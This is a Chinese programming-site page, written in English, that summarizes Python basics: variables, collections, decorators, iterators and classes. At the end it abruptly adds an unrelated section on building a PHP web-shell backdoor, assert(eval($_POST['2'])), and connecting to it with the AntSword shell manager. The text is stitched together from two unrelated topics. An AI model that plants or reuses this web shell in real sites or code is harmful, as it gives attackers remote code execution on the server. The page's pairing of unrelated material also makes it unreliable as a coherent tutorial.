程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

Python knowledge point summary assert uses ant sword to log in

編輯:Python

1.python variables
Variables Python is a strongly typed dynamic scripting language

Strongly typed: Different types are not allowed to be added together.For example: integer + string will report a type error.

Dynamic: Do not use explicit data type declarations, and determine the type of a variable when it is first assigned a value.

Scripting language: Generally, it is an interpreted language. Only an interpreter is required to run the code, and no compilation is required.

Assignment to a Python variable refers to the process of putting data into a variable.

Python variables can be assigned directly without declaring the data type. Assigning a value to a non-existing variable is equivalent to creating (defining) a new variable. In other words, Pyhton must assign a value to create a variable.

The data type of a Python variable can change at any time. For example, the same variable can be assigned a string at one time and an integer at another time.

2.python lists, tuples, dictionaries

1. List (list): [XXX,XXX] Ordered, the input value can be the same, and any type

2. Tuple: (XXX,XXX) Like the list, it is ordered and indexed, and the input values ​​can be the same and of any type

3. Dictionary (dict): {"XX": "XX",} The key-value pair is unordered, the key must be unique, generally a string, and the value can be of any type

Difference:

1. Lists and dictionaries support additions, deletions and modifications, while tuples do not support additions, deletions, and modifications

2. Lists and tuples are ordered and indexed, and dictionaries are unordered and unindexed

3. The value of the list and tuple can be repeated and can be of any type. The dictionary is a key-value pair, the key must be unique, and the value can be of any type

3.python decorators

Decorator refers to extending the function based on the original function or class without destroying the function of the function itself.And it is convenient to add and remove the requirements of this part of the extended functions

The working principle of the decorator: put the decorated function into a new function for execution, and do whatever you want to achieve the function you want without changing the decorated function

4.python iteration

The process of processing similar data sets by repeatedly executing the code, and the processing data of this iteration depends on the results of the previous time and continues to do it. The result generated last time is the initial state of the next result, if halfwayAny pause is not an iteration.

Iterable object: An iterable object does not refer to a specific data type, it refers to a container object that stores elements, and the elements in the container can be accessed through the __iter__( ) method or the __getitem__( ) method

Common iteration objects:

a. Collection data types, such as list, tuple, dict, set, str, etc.;

b. Generator, including generator and generator function with yield

5.python iterator

An iterator is an object that contains a countable number of values.

Iterators are iterable objects, which means you can iterate over all values.

In Python, an iterator is an object that implements the iterator protocol, which contains the methods __iter__() and __next__()

_iter__(): Returns itself to get an iterator for this class

__next__(): Returns the next element in the container

6.python object-oriented

Using the construction model point of view, the common goal of each step in the system development process is to construct a model of the problem domain.In object-oriented design, the initial element is the object, and then the objects with common characteristics are grouped into classes, the hierarchical relationship between the classes is organized, and the class library is constructed.When applying, select the corresponding class in the class library

The main idea of ​​object-oriented programming is to decompose each transaction that constitutes a problem into various objects. The purpose of creating an object is not to complete a step, but to describe the behavior of a thing in the entire problem-solving step

7. Instance Properties

The properties owned by the instance object can only be accessed through the instance object

1, instance attributes are generally in the __init__( ) method:

self instance attribute name = initial value

2, in other instance methods of this class, it is also accessed through self:

self instance attribute name

3, after creating the instance object, access it through the instance object:

obj01 = class name() # Create an object, call __init__() to initialize attributes

obj01. Instance attribute name = value # You can assign values ​​to existing attributes or add new attributes

8. Instance methods

Instance methods, or object methods, refer to the ordinary methods we define in the class.
A method that can only be used after an object is instantiated. The first parameter of this method must be the object itself

9. Class attributes

Attributes owned by class objects are shared by instance objects (instance methods) of all class objects. For public class attributes, they can be accessed outside the class through class objects and instance objects

10. Class Methods

A method that can be called directly through the class without instantiation, but the first parameter of the method must be the class itself

assert login with ant sword

Construction Trojan

assert() The function executes the incoming parameters directly as PHP code, no need to end with ;

So the Trojan code is assert(eval($_POST['2']));

Then save the editing data into the ant sword, and then perform the connection test, it will prompt the connection to be successful.


  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved